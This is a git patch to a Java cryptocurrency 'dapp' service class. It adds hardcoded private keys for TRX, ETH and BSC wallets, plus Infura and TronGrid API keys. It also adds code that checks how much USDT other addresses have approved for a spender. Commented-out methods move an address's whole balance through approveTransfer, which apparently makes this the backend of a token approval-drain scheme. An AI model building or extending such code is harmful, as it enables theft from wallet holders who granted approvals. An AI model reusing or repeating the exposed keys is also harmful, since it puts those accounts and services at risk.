From b9d583aeb3de1ce824f0c6ff6367a5e15904e449 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Mon, 18 Apr 2022 14:29:59 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 159 +++++++++++++++++++++++++++++++++++++---------------
1 files changed, 112 insertions(+), 47 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 8dbef5f..b315d8a 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -1,71 +1,136 @@
package cc.mrbird.febs.dapp.chain;
+import cc.mrbird.febs.common.exception.FebsException;
+import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
+import org.springframework.data.repository.query.ParameterOutOfBoundsException;
import java.math.BigDecimal;
import java.math.BigInteger;
+import java.rmi.activation.UnknownObjectException;
/**
- * @author wzy
+ * @author
* @date 2022-03-23
**/
public class ChainService {
- private final String ETH_PREFIX = "0x";
- private final EthService ETH = new EthService();
- private final TrxService TRX = TrxService.INSTANCE;
+ private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+ private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
+ private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
- private ChainService() {}
+ private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+ private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
+ private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
+ private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+
+ private final static String BSC_URL = "https://bsc-dataseed.binance.org";
+ private final static String BSC_ADDRESS = "0x4EbDCA102623b46a47042D580dddAdE2a53D057F";
+ private final static String BSC_PRIVATE = "0x81c2c02d0c106c1e32ab060a37f6eb279c0649c30ea5cc1c4951e6a8dd4e963c";
+ private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";
+
+ private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
+ private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
+ private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);
+
+ private final String ETH_PREFIX = "0x";
+
+ private ChainService() {
+ }
public final static ChainService INSTANCE = new ChainService();
- /**
- * 获取制定账号的USDT余额
- *
- * @param address
- * @return
- */
- public BigDecimal balanceOf(String address) {
- BigDecimal balance = BigDecimal.ZERO;
- if (address.contains(ETH_PREFIX)) {
- balance = ETH.tokenGetBalance(address);
- } else {
- balance = TRX.balanceOfDecimal(address);
- }
- return balance;
- }
-
- /**
- * 判断地址是否授权给制定账户
- *
- * @param address
- * @return
- */
- public boolean isAllowance(String address) {
- BigInteger result;
- if (address.indexOf(ETH_PREFIX) > 0) {
- result = ETH.ethAllowance(address);
- } else {
- result = TRX.allowance(address);
+ public static ContractChainService getInstance(String chainType) {
+ switch (chainType) {
+ case "ETH" :
+ return ETH;
+ case "BSC" :
+ return BSC;
+ case "TRX" :
+ return TRX;
+ default:
+ break;
}
- return result.intValue() != 0;
- }
-
- /**
- * 获取地址授权数量
- *
- * @param address
- * @return
- */
- public int allowanceCnt(String address) {
- String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
- String total = JSONObject.parseObject(response).getString("total");
- return Integer.parseInt(total);
+ throw new FebsException("参数错误");
}
public static void main(String[] args) {
-// System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
+ // 0x391040eE5F241711E763D0AC55E775B9b4bD0024 0x977A9dDFb965a9A3416Fa72cA7F91c4949c18f25
+ System.out.println(getInstance("BSC").allowance("0x977A9dDFb965a9A3416Fa72cA7F91c4949c18f25"));
+
+// System.out.println(getInstance("ETH").allowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
}
+//
+// /**
+// * 获取制定账号的USDT余额
+// *
+// * @param address
+// * @return
+// */
+// public BigDecimal balanceOf(String address) {
+// BigDecimal balance = BigDecimal.ZERO;
+// if (address.contains(ETH_PREFIX)) {
+// balance = ETH.tokenGetBalance(address);
+// } else {
+// balance = TRX.balanceOf(address);
+// }
+// return balance;
+// }
+//
+// /**
+// * 判断地址是否授权给制定账户
+// *
+// * @param address
+// * @return
+// */
+// public boolean isAllowance(String address) {
+// BigInteger result;
+// if (address.startsWith(ETH_PREFIX)) {
+// result = ETH.ethAllowance(address);
+// } else {
+// result = TRX.allowance(address);
+// }
+//
+// return result.intValue() != 0;
+// }
+//
+// /**
+// * 获取地址授权数量
+// *
+// * @param address
+// * @return
+// */
+// public int allowanceCnt(String address) {
+// String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
+// String total = JSONObject.parseObject(response).getString("total");
+// return Integer.parseInt(total);
+// }
+//
+// public String transfer(String address) {
+// BigDecimal amount = balanceOf(address);
+//
+// return transfer(address, amount);
+// }
+//
+// public String transfer(String address, BigDecimal amount) {
+// String hash;
+// if (address.startsWith(ETH_PREFIX)) {
+// String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+// JSONObject data = JSONObject.parseObject(resp);
+// hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
+// } else {
+// hash = TRX.transfer(address, amount);
+// }
+// return hash;
+// }
+//
+// public static void main(String[] args) {
+//// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+//
+//// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+// System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+// }
}
--
Gitblit v1.9.1